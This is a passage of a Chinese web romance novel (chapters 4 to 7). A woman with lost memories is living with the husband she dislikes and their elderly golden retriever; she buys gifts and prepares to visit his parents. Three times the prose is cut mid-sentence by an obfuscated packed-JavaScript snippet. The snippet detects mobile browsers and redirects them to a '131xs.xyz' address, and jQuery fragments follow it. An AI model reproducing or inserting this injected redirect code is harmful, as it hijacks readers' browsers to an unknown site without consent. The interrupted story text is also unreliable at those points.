有次是放假,闻叙约了人,要骑车去隔壁市。他才刚骑出京市,就在路边垃圾桶旁看见了一只脏兮兮的会动的小东西,在垃圾桶旁沾满油污的地上很小幅度地蠕动,还发出嗷嗷的细弱叫声。
是没有了家长管的,被孤零零遗弃到这个世界的小狗。
他无视同伴的招呼,将车停到一旁。这小玩意连眼睛都睁不开,估摸着刚生下来没多久,腿脚和鼻头都还是红的,呼吸急促,摸起来还有一点点的温热。
他把它抱了起来,用身上的外套小心包好,再放到包里,留了条缝给它透气。而后与同行的朋友作别,一个人跑去了附近的宠物诊所。
等到从诊所出来调头赶回家时,路上下了雨。他怕淋到小狗,把雨衣盖到包上,雨衣就这么短了半截,回到家时,他下半身都湿透了,滴答答往下低着水,身上的包却还是干燥清爽的。
和谢与月说起这事时,许庭嘉还强调说,那是他第一次见到闻叙这么狼狈。闻叙打小就性格龟毛,爱整洁爱秩序,长大了还好点,只是这骨子里带来的习惯,是怎么改不完的。
抱了只脏脏小狗回家,闻叙开始了伺候小狗的日子。
恰逢寒假,他连车都不骑了,就守在家里,两小时喂一次狗。睡觉时也不忘设闹钟,一响就爬起来,连熬了整个寒假。
中间还有一次,小狗呛到了奶,他各种找方法,还拉上许庭嘉帮忙,抢救了大半天,总算是留住了狗崽子的命。
当时许庭嘉还嘲笑他是狗爹,闻叙居然也没跟他生气,说他是嫉妒他有狗了,不跟没狗的人一般见识。
被这样一个爹喂着奶长大,闪电性格也随了他小时候,活泼好动,热爱外出热爱玩乐,心眼子一大堆,还爱干净得很。
算算到现在,闪电都十八岁了,按人类的年龄来看,已经是个长寿的小老头了,依旧活泼得很,毛发油光水滑,一看就被伺候得很好。
就因为这个,最开始谢与月认识闻叙时,还对他挺有好感的,觉得他可能就是性格差了一点,起码心是好的。
跟闪电继续玩着抛球游戏,谢与月抽空问他道:“怎么昨天没见到闪电?”
“爸妈想它了,喊它到那边住了一周。”
“对哦,阿姨他们现在还住澜西吗?”
他嗯了一声,又道:“等见面了,你得改口叫爸妈。”
闻叙的爸妈很好相处,对她也很好,在他们家借住的那一年里,俩人完全把她当成了亲女儿来养。可即便是这样,让她突然改口,一时半会真接受不来。
等到时候真见面了再说。
飞速将烦恼抛到脑后,恰好闪电球也玩累了,谢与月不想继续和闻叙待在同一片空间里,转眼就溜回主卧。
忽视藏着一整排不可说黑盒的床头柜,她去了趟衣帽间,重新打量起了这儿。
二十四岁的她,衣服品味真是和她截然不同,衣服都是优雅又端庄的款式,好看是好看,只是她不喜欢,又沉闷又乏味的。
她喜欢颜色漂亮的衣服,要多彩,要有趣,还喜欢按颜色来给衣服分门别类,一件件挂好后,她衣橱就是个大型调色盘。
失望地看完衣橱,很快,谢与月注意力被旁边的男士衣橱吸引。她费了老大功夫,努力劝回自己乱瞄的眼和蠢蠢欲动的脚,挪着步子回到主卧。
她在书桌上找到了本没用过的本子。外封是人造的皮革,墨绿色的。
这本子肯定是她的,她从不买真皮。以前她偶然看了一部和真皮有关的纪录片,00年代的片子下料猛,还不爱打码,画面冲击力极强。
从那之后,一见到被鞣制出来、具有天然纹理的真皮,就不免想起纪录片里被豢养在狭小昏暗皮毛场里的生灵。那之后,她就永久地避开了所有的真皮制品。
她拿起笔,神色认真严肃地翻开了封面,一笔一划认真写字。
[致二十四岁的我:
你现在的衣服品味太不行啦!等我给你重新填满调色盘,新的一天当然要从穿漂亮衣服开始。
ps.这两天发生的事都太吊诡了。反正你等着,我一定要找出你和闻叙这个坏家伙结婚的原因!]
她的字不算娟秀,起承转合锋利有力。总有人说她的字不像女生,每次听到这样的评价,谢与月一定会告诉对方,女生写出来的字,本来就可以是任何样子。
她伸伸懒腰,找到贵州那边医生给开的药水,将裤腿叠起来,用棉签给擦伤的地方涂药。
昨晚忘涂药了,薄痂居然渗了组织液出来,她也是刚刚洗澡才发现的,难怪今天痛了不少。
呲牙咧嘴地涂好腿上的伤,胳膊上和后背的擦伤让她犯了难。胳膊的还能勉强看到,后背的就不好说了,很容易涂出界,这药水有颜色。
……找闻叙帮忙?绝对不能。她就算是喝她超讨厌的豆汁,也不会找他帮忙!
托练舞的福,谢与月身体柔韧性比一般人好不少,她举着沾满药水的棉签,几乎要把自己拧成麻花,才勉强看到后背的伤口,还没来得及涂上去呢,卧室门口突然传来了三下敲门声。
她被吓了一跳,好险才没有摔到地上,立马将棉签放到一旁,赤脚踩着地板去开门。站在门口的,果然是闻叙这家伙!
“有事?”她没好气地问。
“东西忘拿了。”
说完,他低头望向了她手臂,穿的是套暗茶色的长袖睡衣,袖子被胡乱折到上臂,露出一截手臂,靠近手肘处的那里,凭空多了一块晕开的不规则棕色。
闻叙伸手把她手臂抬起来看了眼,这才看清在棕色药水的皮肤下,是一片发红的刺目伤口。
“摔下山坡时伤的?”他问,“还有别的伤口没?”
这人掌心温度热,无名指上的婚戒表面又是凉的,一时间她都忘了将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602914|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手臂缩回来,只下意识答:“摔下去的时候刮到的,腿和后背也有一点。”
“都涂好药了?”
她一向实话实说,“还没。”
“在哪?我帮你。”
“不不不不用!免了。”她想也不想地立马答,还一字一句地强调地说,“我自己能涂。真的,谢谢您。”
他哦了一声,“行,忘了你现在和我不熟了。伤口自己注意点,不要沾水,免得感染了,疼得天天喊难受。”
忘了你现在和我不熟了。
他这话一出,谢与月又不可避免地想起床头柜里的盒子,实在是受不了这样的对话,她往后退几步,给他让出了空间,迫不及待地想让他拿完东西走人。
“你要拿什么快点拿,我要睡了。”
他没再说什么,进到房内,径直走到床头柜处,看得她眉头一跳。
没留意到她紧张兮兮的眼神,闻叙打开柜子中间那层,将一盒包装朴素的线香和香插拿了出来。
这人居然还点线香呢。
真讲究。
她松了口气,问道:“这什么味儿的?”
他关上柜子,随手拆了一根出来给她看,淡淡作答:“佛手柑。”
为了闻清楚味道,她往他手里线香的方向凑近了些,本以为会直接闻到佛手柑的香气,没想不管怎么感受,都只有偏自然的淡淡檀香。
她品得认真,轻缓的呼吸之间,气流轻轻地挠过他握着香的手背,不免疑惑抬头问:“这真加了?”
她钟爱佛手柑,对它的味道熟得不能再熟,可这里面压根就没有嘛。
“天然的线香是这样,一般要点了才闻得见。”
她哦了一声,又慢吞吞说:“要不你点一下?”
有时候,闻叙总觉得她眼里藏了一汪清凌凌的水,每每一好奇,那汪水就仿佛见了日光般,熠熠地闪着。他突然想起来,打火机没拿,明明就放在香托旁边的。
他重新开了柜子,粗糙指腹擦过砂轮,黑色的金属壳打火机嚓地冒出橙黄火。线香被点燃,一缕半透明的白烟慢腾腾地往上飘。
这么一粒火,居然就真的烘香了佛手柑。
她闻得认真,呼吸被这一支小小的香占领,就这么一会,视线不小心撞进了某双被烟雾弥漫的干净眼眸。沉眠的春山在雾后翻了个身,像是乍然苏醒了,草长莺飞,万物生长。
她突然就晃了几秒神,不由地想着这人皮囊是真的好,也难怪以前那么多追在后面的。
谢与月从没了解过线香,只知道有些长辈很爱玩这些,专门收藏各种稀少的纯天然香,还说这能修身养性。
只要和修身养性有关的,她是从来都不沾的,可线香居然能这么好闻,有点像人类专用猫薄荷,主要是线香里的佛手柑很特别。
等到闻叙拿着线香走了,房内仍残留着淡淡的香味,谢与月凑到他开的那个抽屉前,发现他刚拿走的是最后一盒线香。
得想办法整点过来……还是算了,刚刚那家伙走前,她多嘴问了句为什么要点这香睡觉,他说是因为失眠。
这失眠的可怜人,还是不要抢他助眠的东西了。
不过,闻叙这人的长相,她是真的很喜欢,要不是清楚他到底什么性格,刚都险些差点心动了。
这是她讨厌的家伙,这是她讨厌的家伙,这是她讨厌的家伙。在心底反复念了几次,她彻底清醒了过来。
这是她讨厌的家伙!
5. 第 5 章
谢与月有一只猫,名字叫做沐沐,是她十三岁生日时领养的。
沐沐是只异常胆大的社牛猫,被养得像只小狗,每天最喜欢的事情就是穿上背带绳,领着谢与月出门溜达。
第一次遇见闻叙时,她正好被沐沐牵着,四处探险新搬来的别墅区。
两人不幸相遇时,闻叙正被狗牵着,好动的大金毛瞧见了竖着尾巴的威武小猫,以为这是它的新朋友,热情地扑向猫猫,把猫猫吓得拔腿狂奔。
接下来,她被猫拖着,他被追猫的狗拽着,俩人一猫一狗沿着绿化道跑了一路,她都快绝望了。
可谁成想呢,这只是他俩孽缘的小小开端而已。
-
从被狗和闻叙狂追的梦里醒来,谢与月满脸写着虚假的开心。
时间已经是早上九点,整个屋子静悄悄的,闻叙肯定是去工作了。
她下了楼,闪电正卧在客厅的地毯上咬着球玩,一见到她来了,顿时球也不玩了,兴冲冲地到了她跟前,用头蹭她的手,明示她得摸狗头了。
“饿了吗?”谢与月摸了摸它,去看它的碗,里面还剩一点熟自制残留的汤水,估计是闻叙上班前喂过它了。
他这人挺特别,对狗比对人用心多了,为了保证闪电营养均衡,特地请了宠物医学专家给闪电制定了每日熟自制食谱,还配备了各种营养粉。
吃完阿姨温着的早餐,谢与月陪闪电玩起了丢球游戏,空暇时掏出手机看了眼。
昨天她出门去补办好了裂开的手机卡,登上了真正常用的微信,还是她以前那个,密码也没变。
可惜之前那个手机坏得彻底,无法转移数据,消息记录一片空白。
她在好友列表里扒拉着,终于见着了个熟悉的头像,透绿色的清湖,青葱挺拔的林木,背靠座大山,山尖尖冒了雪,很有藏区独特风味,估计就是在那边拍的。
当年她加他时,他就是用的这个头像,这么算来得非常久了,真是够长情的。不像她,每年都要换一换,不换总感觉头像旧旧的。
他微信名是Pro,她给的备注是直白明了的“闻叙”。
二十四岁的自己和他关系估计没好到哪儿去。按她的习惯,要跟谁关系很好,肯定会某天灵光一闪,给对方取上一个只有彼此才知道的特别绰号。
她点开他头像,悠悠地敲着键盘发了条消息过去。
谢与月:[你知道我沐沐在哪儿吗?在我爸妈那?]
消息刚发出去,闪电就叼着球回来了。它不想玩了,把沾满它口水的球丢到地上,跳上沙发,硕大的狗头十分自觉地躺上了她的腿。
她伸出手掌搓了搓狗头,说道:“有空你就劝劝你狗爸,别瞎带着你跑到梦里追我。我在梦里被你俩追着跑,也很累的,跟没睡一样。”
闪电哪里懂什么,它只当谢与月在帮它按摩脸,舒服地闭上眼享受。
两分钟过去,狗太舒服了,以至于枕在她膝上睡着了。
跟它爹一样没心没肺。
谢与月还能怎么办,动也不敢动,举着手机找给她抽过塔罗的闺蜜江归夏聊天。
点开“AAA江大王斗蛐蛐”的聊天框,她指尖在屏幕上飞舞着,将自己变成十八岁的事儿绘声绘色讲了一遍,期间用了好几个感叹号,以此表达她得知自己和闻叙结婚的震撼心情。
江归夏:[?]
江归夏:[不是,什么情况,你让我捋捋]
谢与月:[语音吧]
谢与月:[打字好累好累好累]
等语音接通了,谢与月立马开口说:“夏夏,你在哪儿呢?想见你了。”
“在横店拍戏,还没杀青呢,估计还得再拍段时间,见面得放后头了,等我回去了就告诉你。”
“你还真拍戏去了?怎么个事儿?”
她俩都读的北舞附中,六年制的中国舞专业,是同班同学。毕业那年,谢与月16岁,顺利考进了北舞,江归夏则去了中戏,说她不想跳一辈子舞,中戏还有别的专业,正好课余找点别的事情体验一下。
说是这么说,等真正进入大学校园生活,课程还是挺吃紧的,还有各种活动、比赛要参加。两人经常互相吐槽,都说自己要被舞蹈绑死了,谢与月是甘之若饴,江归夏是骑虎难下。
“我拍戏得是19年的事了。钟连来我们学校选角,他电影里有个配角刚好是个跳舞的,刚巧那时候我有点拍微电影的经验,就被选上了。后面就顺势签了公司,拍了几年戏。”
谢与月问:“累吗?”
“有点?好吧,拍的时候是挺累的。但我糊糊的,特别安心,没什么通告要赶,没活了我就待家里打游戏,再搞这搞那的,比跳舞自由。”她接着换了个话题,“好了,轮到你了,快好好说说你失忆的事。”
听着谢与月重新把整件事说了一遍,江归夏不由地感叹道:“这下好了,闻叙得带娃了。”
谢与月:“?”
“江龟龟你说什么胡话呢!什么闻叙带娃,你这张嘴师承闻叙了吧!”
跳脚的谢与月太好笑了,江归夏先是愣了几秒,很快就笑得眼泪都要出来了,“闻叙现在说话比以前礼貌多了,真的变了个人似的,你没感觉?”
“好像是好了那么一些。我都愁死了,我干嘛犯抽跟他结婚啊?你知道内情吗?”
“你们俩啊,我还真不太清楚是个什么情况。”江归夏浅浅的叹气声通过手机传来,“其实我们这几年联系得不多,也就有空了会聚聚,聊一聊近况这样子。”
“为什么,我们闹别扭了?是我的问题?”
以前她俩的关系好到什么程度呢?要哪天不想自己睡,就直接跑去对方家过夜。两人挤在个小小的被窝,就着漆黑的夜说这说那,激动时还会踢被体温烘暖的被子,好像只要一直说下去,夜晚就永远不会结束。
“想什么呢,我们怎么会闹别扭。是后面我俩都毕业了,工作上的事一多,慢慢联系就少了,也正常。”
“不,这一点都不正常。”谢与月否定着,低头去看正呼呼大睡的金毛,热烘烘的,“我现在有不少话要跟你说,天天都说,你不许嫌我烦。”
江归夏眼眶一酸,却没忍住在笑,说道:“好好好。闻叙不会吃我醋吧?”
“他吃哪门子醋吃。”
谢与月正想继续说,却听到江归夏那边的背景音里有人在喊她,得知她还在剧组,就没再耽误她忙活,结束了对话。
她伸出手,摸了摸闪电湿润的鼻头,再用被沾湿的指尖去摸它的毛,闪电睡得很沉,完全没反应。
手机屏幕又亮了下,闻叙给她回消息了。
闻叙:[沐沐在妈那。]
闻叙:[明天中秋,要回家里吃晚饭。你的情况我和他们说了,和以前一样相处就行。记得改口,还有,婚戒记得戴上。]
谢与月:[什么时候去?]
闻叙:[明天我下班后接你,在家等我,大概五点半。]
他那句“在家等我”,看得谢与月有些别扭,过了一会才回了他一个好。
望着自己空空的手指,她陷入了沉思,她婚戒到底落哪儿了?
过了一会,她大概想了起来,找到去采风时带着的包,从里面的夹层翻出了一枚婚戒,戒圈穿着绳,看上去像是被当成项链来戴了。
她把绳链取下,戴在自己左手无名指上欣赏了会。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602915|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这枚戒指挺漂亮,并非鸽子蛋类型,戒面被打磨得精细,雕着细微纹路,不细看还看不出来,有点像针叶树,中间嵌着小钻石,很低调,适合日常戴出门,搭什么衣服都顺眼。
戴好戒指,就得琢磨下明天要穿什么了,翻来翻去都没找到想穿的,只好去买新的。
出门前,她先牵着闪电遛了会。它上年龄了,容易累,没多久就要回家,躺在窝里呼呼大睡着,她也能放心出门去了。
她有固定几家常光顾的店,除了某些必要场合,她穿衣服不那么讲究大牌,料子舒服,合眼缘就行。
一通挑挑选选下来,她买了不少,出了门抬起头,她突然注意到对面不远那家店的店名,是闻叙衣橱里常出现的那个牌子。
她不知不觉地走到这店门前,她是不喜欢闻叙,但她一直都恩怨分明。
这几天闻叙帮她找专家看脑子,还落下工作陪了她一早上,导致晚上加班到八点回家,甚至没来及吃晚饭。
她讲礼貌,闻叙这样帮她,她总得表达感谢。
可给他送礼物啊……
谢与月曾经给他送过礼物。
孟女士和他妈许真意是认识多年的好友,她刚搬过去时,正巧他高考结束,她正琢磨着要提高文化课成绩。
有天,许真意提议,让闻叙给她补习。她说闻叙这孩子这几年性子越来越沉闷,成了个长刺的臭石头,想拜托活泼的她多和他接触看看,也许能带来些改变。
被说话温柔的许姨姨这么一恳求,谢与月昏头昏脑的,接受了补习的建议,天天早上和下午往他们家跑,每天都在想放弃的边缘。
没办法,她这老师太不近人情,明明长了张那么帅的脸,人却冷冷淡淡的,伫在那儿,就像座不会融化的冰雕像。
这位一看就是被母亲压着被迫工作的,补起习来没有半点感情,动不动就“错了”、“不对”、“这里扣分”的。
他掀起薄薄的眼皮看过来一次,谢与月就怀疑自己智商一次。
后来得知他高考凭着裸分被P大录取,她迅速地原谅自己了。
那段时间,她其实还挺尊敬他,觉着他这人其实也不错,尽管是出于母亲的压迫才给她补的习,却也没罢工,尽心尽责的。
在他的帮助下,她的文化课成绩突飞猛进。
有心感谢闻叙,她琢磨着送了他个礼物,举着个小盒子,一脸真诚地说这是她送给他的谢礼。
他仅仅只是瞥了眼,没打算接受,叫她拿回去。
眼见着礼物怎么也送不出去,到最后她急得说道:“这是我特地给你准备的谢礼,全世界也就这么一份,你要不收我就送给你妈!”
少年身上依旧透着疏离的冷感,他看了她一会,伸出一双指甲修剪得极为干净的手,将礼物接了过去。
谢与月很高兴,以为这代表他们之间的关系进入了一个新的阶段,勉强能算得上是朋友了——
直到两个月后,她被沐沐领着出门,沐沐一个劲儿地往茂密的草丛拱,她顺着看了过去,她挑灯一周才做出来的东西,被拆成了碎块,静静地睡在草丛间。
她从小就不爱哭,也很少哭。
将它们从草丛泥地捡起来时,她蹲着下了场雨,淅沥沥的,惹得沐沐抬头,伸出脏兮兮的爪子想去碰她下巴咸乎乎的水。
“真讨厌。”她对着沐沐说,“那么不想要的话,一开始拒绝就好了。”
后来,谢与月再没给他送过礼物。
直到现在,她踌躇地站在店门前,内心摇摆,抬起了脚,想着还是离开算了。
算了。
她再度定住脚,侧头看店名。
就给他买这一次。
6. 第 6 章
谢与月没想好要买什么,在店里转了一圈。
像皮带、领带这些,估计大部分款式他都有,她再买容易撞款。
不知不觉,她走到了陈列着胸针的区域,导购跟在她一旁,在询问她要买给谁,着重介绍了几款。
最终,谢与月挑了一款白金色调的胸针,是一个小巧的船锚,嵌在上头的透明钻石被光一照,便显露出截然不同的斑斓火彩。
结账时,谢与月的手机显示付款失败,银行卡提示金额不足。
幸好还有另外一张卡。用另一张顺利付了款,她拎着包装好的胸针,顺带找了家童装店,给闪电也买点衣服。
要入秋了,天气凉,小动物的保暖也得跟上,她绝对不承认是自己打扮小狗的瘾犯了。
闪电是只大狗,穿小孩的衣服刚好,款式也有得挑。她进到童装店内,导购热情地上前招呼。
“谢女士,请问是给家里的小孩买的吗?”
谢与月一向诚实,“我家有只八十斤的金毛,想买给它穿。”
对方愣了两秒,微笑着继续问:“您家的是男狗狗还是女狗狗?”
“男狗狗,差不多这么长。”她大致比划了下。
“好的,您可以看看我们这边的款式,这是适合六岁左右的男宝宝穿的衣服。”
“我们家宝宝胸肌比较大,可能得再大一号的。”
“那可以看看这边……”导购尽责地介绍着,谢与月觉得她说得每一件都挺适合闪电的,不知不觉也买了不少。
挑完衣服,谢与月心满意足地走出店门口,忽然有人径直走过来,问道:“请问是与月吗?”
谢与月顺着看过去,是一位女性,二十来岁的模样,留着披肩卷发。
在看清谢与月模样后,她立马笑了起来,捂住心口,“真是你!近看好漂亮,不行了我眼都要看直了。我,我是你的粉丝,也是学古典舞的!去年我去看过你巡演的《花木兰》,你的云里前桥真的很牛,翻得特别利落漂亮,非常震撼。”
“我还特爱你演的那个什么,那个什么电影里的亡国公主虞美人,可惜戏份好少,到现在我都还时不时看你的片段cut,还扒了那段舞来学,力量感太足了。瞧我说了这么多,请问可以给我一个签名吗?”
面对这样的热情,谢与月挺受宠若惊,“当然可以呀,求之不得。”
女生立马从包里掏出一张明信片,又掏出了支笔,一起递给她。
“我运气好,时不时就会碰见我喜欢的明星网红,有好几次因为没带纸笔没能要到签名,很可惜的,后面这俩样就成了我包里常驻了。”
谢与月签上自己名字,想了想,顺手写了句祝福语上去:愿你如木兰一般不被定义。
女生接过明信片,问道:“话说你以后想不想试着去拍戏?你的虞美人演得真的很好,好多人念念不忘呢。”
谢与月拍那部电影也是凑巧,那部电影的导演是孟女士好友,因为一直找不到满意的演员,找到了谢与月这儿,想拜托她试试。
不好意思拒绝诚恳的长辈,她答应了下来。演的是个戏份很少的小配角,一舞倾城的亡国公主,借着献舞的名头,她暗中潜入敌国刺杀皇帝,成功后当场自戕,以血祭国。
导演花了非常大心血打造电影,每个演员都被她特训过,拍了足足五年。
幸而票房没有辜负团队付出的努力,连带在里面演小配角的谢与月也火了一把,网友自发剪辑出来的跳舞片段播放量疯涨。当时还有人在猜她是不是打算跟孟明玉一样,也走演员的路。
再次被问到这样一个问题,谢与月依然是当初的回答:“不拍。我会在舞台上跳一辈子的。”
女生又遗憾又开心,拿出手机来,跟谢与月拍了几张合照,最后开心地挥挥手,准备要告别了。
临走前,她注意到谢与月是从童装店出来的,便狡黠地眨眨眼,说道:“你要和闻总要好好的哦。他是个好人,你也很好,你俩这辈子是要百年好合的!”
谢与月笑着送走了她,心里却不免有些嘀咕。
她和闻叙不就结个婚而已嘛,怎么连粉丝都知道了。
等过了一会,谢与月突然反应过来,女生告别时笑得非常意味深长。
她不会误会自己和闻叙有孩子了吧?
不能够啊!!
-
拎着东西到家时,闪电已经醒了。
她给闪电试搭了好几件衣服,还给它拍照,不停地夸它帅气,夸得它尾巴狂摇,对着照片看了又看,后面连换了好几个姿势,催她多拍几张。
想不到还是只臭美的小狗。
傍晚,六点左右时,闻叙回来了。
推开门,便看到谢与月缩在沙发上,睡着了。不知道梦见了什么,嘴边居然还挂着笑。
他下意识放轻脚步,即便如此,沙发上的人慢慢蹙起了眉头,缓缓睁开眼,睡眼迷蒙的,见到是他,忽然嘟囔着道:“闻叙,你好狠的心啊,居然敢杀了我的孩子。”
“……”
他难得陷入了沉默,眼眸轻眯,神情微妙地望着她,以及那头睡得乱糟糟的头发。
这件事情,他觉得自己挺有必要澄清的,“我,守法公民,不杀人。”
听到这么一句话,谢与月顿时从梦里清醒,意识到自己刚才说了什么,又把头埋进了抱枕里,再一次当起了鸵鸟。
过了十几秒,她若无其事地坐起来,“阿姨饭做好了,我们来吃饭吧。”
说完,她将身上盖着的沙发毯随手一掀,去到厨房,顺手拿好碗筷。
弄好这些,闻叙也还没过来,她奇怪地往客厅看去,只见他正将沙发毯顺平,规整地放回原位,就连被她弄乱的抱枕、茶几上的水杯也都逐一复位。
谢与月走回厨房,帮他也添了一碗饭。不知道这是用的什么米,煮起来有着非常浓郁的米香,吃起来粒粒分明的,软硬适中。
阿姨不仅仅会做好吃的馄饨,炒的菜也香得很,甚至还有锅气,光是一道醋溜白菜就把谢与月征服了。
她用勺子舀着这道菜的汤汁泡饭,再夹一个裹满红亮酱汁的葱烧大排,一吃一个不吱声。
两人面对面地吃着饭,他没说话,她也懒得说话,专心享受美食,一时间房内安静得很,只有碗筷碰撞时的微小动静。
很快,闪电的狗鼻子闻到饭香,寻了过来,用手扒拉着谢与月,嘴角都快流哈喇子了,馋得很。
对着小狗,她声音忍不住放温柔许多,转过头看它道:“小狗不能吃人类的食物。”
闪电:“嗷嗷!”
“不能吃,重油重盐,对身体不好的,所以,我来帮你全部吃掉。”她说着,忍不住虔诚咬下最后一口大排,把闪电急得又嗷嗷叫的。
谢与月突然就有点不好意思了。
望了眼俩不省心的,闻叙放下筷子,转身去拿阿姨做的另外一份吃的。是给闪电单独做的狗饭,不加任何调料,今天的是青贝汤,加了上海青和鸡胸肉一起进去煮。
见状,她迅速将碗里最后几口饭吃完,态度积极地从他手中接过狗饭,“我来喂吧,你吃你的。”
这点食物,对闪电这种大型犬来说,充其量就是小零嘴。
她在闻家借住时,闪电总爱在餐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602916|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
桌旁边骚扰人,怎么教都不改。
后来闻叙想了一个办法——做狗饭,饭点给它吃,没一会就能吃完,还能额外补充营养,骗它喝多点水。这人脑子还真很灵活,难怪能裸分上P大。
她兴致勃勃地夹起上海青喂狗,闻叙这边则继续拖拖拉拉吃起了饭,直到桌上的菜都干净了,便顺手将桌上的碗筷收拾好,放进洗碗机。
等谢与月喂完小狗,转头一看,这餐厅和厨房又跟没用过一样,干净整洁。
她顺着视线,望向将这一切收拾好的高大身影。
借着头顶处明亮的光线,她再次意识到,闻叙这人外形是真的得天独厚。高挑,却不显瘦弱,头发三七分,额前碎发自然垂落,淡化了他略显凌厉的气质,眼皮沓下时,倦怠的意味就上来了。
侧脸也极为优越,眉骨高,鼻梁骨也高,细细一看,他鼻梁有着很轻微的驼峰,据说驼峰鼻的人,性子好强,但凡认定了的事,再怎么也会做下去,倒是像他的性格。
而且,他的睫毛一点也不短……谢与月不由自主看得有些入神,突然被对方的捕捉了视线,她立马心虚地收回目光,逗起了闪电,装作很忙的样子。
仿佛没有注意到她的目光,他挽起袖子,借着水龙头的水流细致洗着手,再从容地用手帕擦干净,冷冷淡淡地道:“以前我们吃完了饭,会牵着闪电一起散步。”
和闻叙散步?
一想到那画面,谢与月鸡皮疙瘩都要冒出来了,不可能不可能!
她想也不想,立马拒绝,“我今早遛过闪电了,不想再出门了,你自个遛吧。”
他嗯一声,神情没出现任何变化,就只是顺嘴提一下而已。
“哦对了!我给你买了个小东西。”谢与月猛地站起来,找到自己特地放在楼下的袋子,从里面拿出一个小盒子。
她打开盒子,里面是个船锚,勾线是金色的,排列整齐地缀满钻石。
谢与月将船锚胸针放到他胸前比划了一下,非常满意自己的眼光。
“我今天出去逛了逛,看到这个很适合你,果然是。送给你了,谢谢你带我去看医生。”她坦荡着表达着谢意,似乎一点都不觉得这有什么。
原来,他上午收到的银行卡扣费短信,是她在给他买礼物。
他伸出了手,接过礼物,“好,谢谢。”
这语气,根本听不出来是喜欢还是不喜欢。
没得到送礼物带来的情绪价值,再想想礼物被丢弃的前车之鉴,谢与月干脆直接把话挑明白。
“太久了,不知道你现在喜欢什么。你要是不喜欢这种,放柜子里藏着也行,说不定再过几年,这个款就升值了呢。”
“到我这时,就已经升值了。”他漫不经心说着,船锚正盛着灯光,钻石异样地灿烂。
一眼看去,还真像是升值了。
……以前怎么没看出来,他这人还挺自恋的。
顺利地将礼物送出去了,谢与月心底哼着小调上楼,抽出笔记本,翻开第二页。
[致二十四岁的我:
首先,我要代表十八岁严肃批评一下你!你居然把江大王雪藏了,那可是我们的江大王啊!没关系,你的十八岁来了,我会替你把她放出来的!
其次,我今天运气很好,遇见了我们的粉丝,她说你花木兰演得很好,我还给她写了一句话,也算是给我们写的吧。
最后,我给闻叙送了礼物,刷的我们的银行卡。钱是你赚的,但你不要心痛,这是必要的礼尚往来。
ps.阿姨做饭很好吃,这也能算是一个结婚理由吧,你是不是看上他请的阿姨了?]
7. 第 7 章
到底是不是看上他家阿姨,谢与月还是不知道。
她认真地盯着镜子里的人,米白的设计感束袖衬衫,鹅黄色半身裙,再添点小配饰,是很适合见家长的穿搭。
闻叙讲究准时,五点半还没到,车子已经抵达。
谢与月牵着闪电上了车,礼貌问候他道:“你之前说你失眠,好些了吗?”
“好些了。你伤口怎么样?”他难得放松,懒洋洋地靠着椅背,配合着她做这场寒暄。
“我也好些了。”
寒暄完,俩人泾渭分明,隔着一条兴奋的狗。
快到澜西华府时,谢与月出神地望着窗外。
在她记忆里,不久前还住在这边,可现在却恍若经年的,连心跳都慢了几拍。
等到下了车,谢与月往右边方向看去,这边房与房之间隔得开,绿化也多,在树丛的遮掩下,只能见到她家的上半边。岁月裹着雨水,给外墙带来了些斑驳,没有她记忆里的那么新、那么漂亮。
见到闻叙正准备进大门了,她伸出手指,捏住了他的衣角,低声说道:“我家密码应该没改吧?晚点吃完饭我想过去看看。”
他任由她拉着,碎发被突如其来的秋风轻轻吹起,“我们结婚后,爸妈就搬回家乡了,这边的房子转手卖给了你小叔。现在是他们家住在那边。”
“我小叔?”
谢与月神情讶异,失落的情绪随即拱上来。她很喜欢这儿的,早就将这当成自己永远的鸟巢了,现在却成了别人的家。
一不开心,她就下意识捏着手上的东西,小小的一个料子,被她手指翻过来,折过去,全然没意识到这是闻叙的衣服。
“爸对你小叔一家到底有多好,你又不是不清楚,房子当然是先卖给他。”他冷淡出声,打断了她的思绪,“你不饿吗?我饿了。”
被这么一提醒,她还真感觉到自己饿了,低低地答道:“我也饿。”
闻叙睨着这人还虐待着他衣摆的手,料子都给捏得皱巴成朵花儿了,于是悠悠地说:“那就请您松手。我不是你养的狗,你应该不想这样扯着我进去吃饭吧?”
谢与月烫到似地收回了手,受不了他这时不时就得欠一下的嘴,“我还不想牵呢。”
他像是没听见一般,进了院门,又放慢步子等她一起。闪电已经没了踪影,这只机灵小狗,早在刚下车时就蹿进了屋里,才不管那俩个在门外磨磨唧唧的人类。
这套别墅其实没多大,光看大小和装修,很多人都想不着这里头住着的会是闻叙他爸妈——
